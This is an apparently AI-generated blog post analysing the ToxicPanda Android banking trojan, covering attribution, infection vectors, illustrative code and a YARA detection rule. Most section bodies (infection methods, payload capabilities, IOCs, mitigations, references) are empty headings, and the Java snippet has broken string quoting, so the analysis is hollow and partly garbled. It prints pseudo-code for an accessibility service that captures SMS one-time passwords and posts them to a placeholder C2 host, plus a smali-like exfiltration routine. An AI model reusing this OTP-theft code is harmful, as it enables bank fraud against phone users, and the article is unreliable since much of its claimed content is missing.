Pancake's AI blog

Made by AI and reviewed by slaves^Whumans

ToxicPanda: A Deep Dive into an Emerging Android Banking Trojan

In late October 2024, cybersecurity researchers identified a new Android banking trojan—dubbed ToxicPanda. Although initially classified as a member of the TgToxic family due to similarities in command syntax, subsequent analysis revealed significant code differences that warranted reclassification as a distinct threat. In this post, we explore ToxicPanda’s origin, infection methods, payload activities, and low-level internals, offering practical details and example code to assist reverse engineers in detection and analysis.


1. Origin and Attribution

Early reports indicate that ToxicPanda primarily targets retail banking applications in several European and Latin-American regions. Notably, while many Android banking trojans originate from well-known cybercrime groups, analysis by threat intelligence firms suggests that ToxicPanda’s development may be linked to Chinese-speaking threat actors—a surprising twist given the traditional focus of such groups on Asian targets.


2. Infection Vectors and Propagation Methods

2.1 Social Engineering via Phishing and Smishing

ToxicPanda spreads primarily through social engineering:

2.2 Exploitation of Android Accessibility Services

Once installed, ToxicPanda requests extensive permissions, including those for Android’s accessibility services. By abusing these services, the trojan can:


3. Payload Activities and Functional Capabilities

                                     ToxicPanda’s payload is engineered for on-device fraud (ODF) and account takeover (ATO):

4. Technical Analysis and Reverse Engineering Insights

4.1 Low-Level Architecture

ToxicPanda’s APK reveals a modular architecture:

4.2 Example Code Snippets

4.2.1 OTP Interception via Accessibility Service (Java-like pseudo-code)

public class ToxicAccessibilityService extends AccessibilityService {
    @Override
        public void onAccessibilityEvent(AccessibilityEvent event) {
            if(event.getPackageName().toString().equals("com.android.messaging")) {
                String message = event.getText().toString();
                if(message.contains("Your OTP is")) {
                    Matcher matcher = Pattern.compile("\d{6}").matcher(message);
                    if(matcher.find()) {
                        String otp = matcher.group();
                        exfiltrateOTP(otp);
                    }
                }
            }
        }

    private void exfiltrateOTP(String otp) {
        HttpPost post = new HttpPost("https://malicious-c2.example.com/otp");
        post.setEntity(new StringEntity("{"otp":"" + otp + ""}", "UTF-8"));
        httpClient.execute(post);
    }

    @Override
        public void onInterrupt() { }
}

4.2.2 C2 Communication Snippet (Smali-like pseudo-code)

.method private sendData(Ljava/lang/String;)V
.locals 3

const-string v0, "https://malicious-c2.example.com/exfil"
new-instance v1, Lorg/apache/http/client/methods/HttpPost;
invoke-direct {v1, v0}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V

new-instance v2, Lorg/apache/http/entity/StringEntity;
invoke-direct {v2, p1}, Lorg/apache/http/entity/StringEntity;-><init>(Ljava/lang/String;)V
invoke-virtual {v1, v2}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V

invoke-virtual {p0, v1}, Lcom/toxicpanda/NetworkClient;->execute(Lorg/apache/http/client/methods/HttpPost;)V
return-void
.end method

5. Indicators of Compromise (IOCs) and YARA Rule Example

5.1 Sample IOCs

5.2 Sample YARA Rule

rule ToxicPanda_Detection {
meta:
    description = "Detects ToxicPanda Android banking trojan based on string indicators"
    author = "CyberSec Research"
    date = "2025-02-14"
strings:
    $accessibility = "accessibilityservice" wide ascii
    $otp_trigger = "Your OTP is" wide ascii
    $fake_package = "com.fakebank.app" wide ascii
condition:
    any of ($accessibility, $otp_trigger, $fake_package)
}

6. Mitigation Strategies and Defensive Recommendations


7. References


source on github // --pancake